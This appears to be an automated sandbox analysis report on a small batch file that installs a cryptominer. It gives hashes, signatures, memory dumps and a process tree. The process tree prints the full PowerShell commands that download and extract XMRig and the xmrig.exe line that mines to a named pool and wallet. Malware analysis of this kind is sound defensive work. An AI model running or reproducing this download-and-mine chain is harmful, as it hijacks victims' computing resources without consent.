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Analysis

  • max time kernel
    1795s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 09:06

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1408

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e6c87702a91c0c8a5a4dfa6f58524d44

    SHA1

    33ef4c8718f3e72719e2a9a7c02eebfda0ab229a

    SHA256

    1b39bd4b01771e9178e78d65ded27811286a4dc2b8d897e8d3d14c9b5d7ebb65

    SHA512

    376a863d44bf8ec3a9dc92d0f542a32648b1050337db4a78ca063912c4daf3cdab13aece04251c4ac11a6ff0ac9bb9d196c560b9ffad638eb0c6dda8a5eb7894

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kdbfmakk.jo2.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    133KB

    MD5

    ebab7620585897dbd2e66cf6ba9037d0

    SHA1

    bdea9d2405ee548f777d3ef1a5c9c429f41414b9

    SHA256

    f141628ed0332efff18d093443cb6065ffb384f11e254a3b6cb5c06b09d09c11

    SHA512

    4fa14be4361409d34a469ca734ee73b738dc95ff4a76b0f1a6a9e8c8a9e001af458d989477b2ce06e9c233b9edbf1235179f25621e4bc02e2515f3a867603c72

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    94KB

    MD5

    a4ee56f7ac069f12bf42c6e02ac9efe4

    SHA1

    b5b5a980c1d231bb7b5a382068d0260dd46a31a4

    SHA256

    138f038fa80ac51f832f1b2e849deccf5d239e2993c56431b62ccf686958514d

    SHA512

    0f3486df3dff0b29b44c6fa083412d6a4f92a4b1ca1d3b3d9567a98be12b09ecff78221f57c7848ee90a3c679530a8fc60124fbe565cc908fb5626d8e225b4f4

  • memory/1408-143-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-120-0x000001E638780000-0x000001E6387A0000-memory.dmp

    Filesize

    128KB

  • memory/1408-188-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-187-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-186-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-185-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-184-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-183-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-182-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-181-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-180-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-179-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-178-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-177-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-176-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-175-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-174-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-146-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-173-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-121-0x000001E639F80000-0x000001E639FA0000-memory.dmp

    Filesize

    128KB

  • memory/1408-122-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-123-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-124-0x000001E639FA0000-0x000001E639FC0000-memory.dmp

    Filesize

    128KB

  • memory/1408-125-0x000001E639FC0000-0x000001E639FE0000-memory.dmp

    Filesize

    128KB

  • memory/1408-126-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-127-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-128-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-130-0x000001E639FC0000-0x000001E639FE0000-memory.dmp

    Filesize

    128KB

  • memory/1408-129-0x000001E639FA0000-0x000001E639FC0000-memory.dmp

    Filesize

    128KB

  • memory/1408-131-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-132-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-133-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-134-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-135-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-136-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-137-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-138-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-139-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-140-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-141-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-145-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-172-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-171-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-142-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-144-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-147-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-148-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-149-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-150-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-151-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-152-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-153-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-154-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-155-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-156-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-157-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-158-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-159-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-160-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-161-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-162-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-163-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-164-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-165-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-166-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-167-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-168-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-169-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/1408-170-0x00007FF779320000-0x00007FF779E23000-memory.dmp

    Filesize

    11.0MB

  • memory/2292-42-0x0000013E7B030000-0x0000013E7B040000-memory.dmp

    Filesize

    64KB

  • memory/2292-66-0x0000013E7B030000-0x0000013E7B040000-memory.dmp

    Filesize

    64KB

  • memory/2292-40-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/2292-117-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/2292-93-0x0000013E7B000000-0x0000013E7B00A000-memory.dmp

    Filesize

    40KB

  • memory/2292-41-0x0000013E7B030000-0x0000013E7B040000-memory.dmp

    Filesize

    64KB

  • memory/2292-80-0x0000013E7B280000-0x0000013E7B292000-memory.dmp

    Filesize

    72KB

  • memory/4828-7-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-4-0x0000021CB9CF0000-0x0000021CB9D12000-memory.dmp

    Filesize

    136KB

  • memory/4828-25-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-5-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4828-8-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-34-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/4828-10-0x0000021CB9EB0000-0x0000021CB9F26000-memory.dmp

    Filesize

    472KB

  • memory/4828-29-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-28-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-27-0x0000021CB9DA0000-0x0000021CB9DB0000-memory.dmp

    Filesize

    64KB

  • memory/4828-26-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB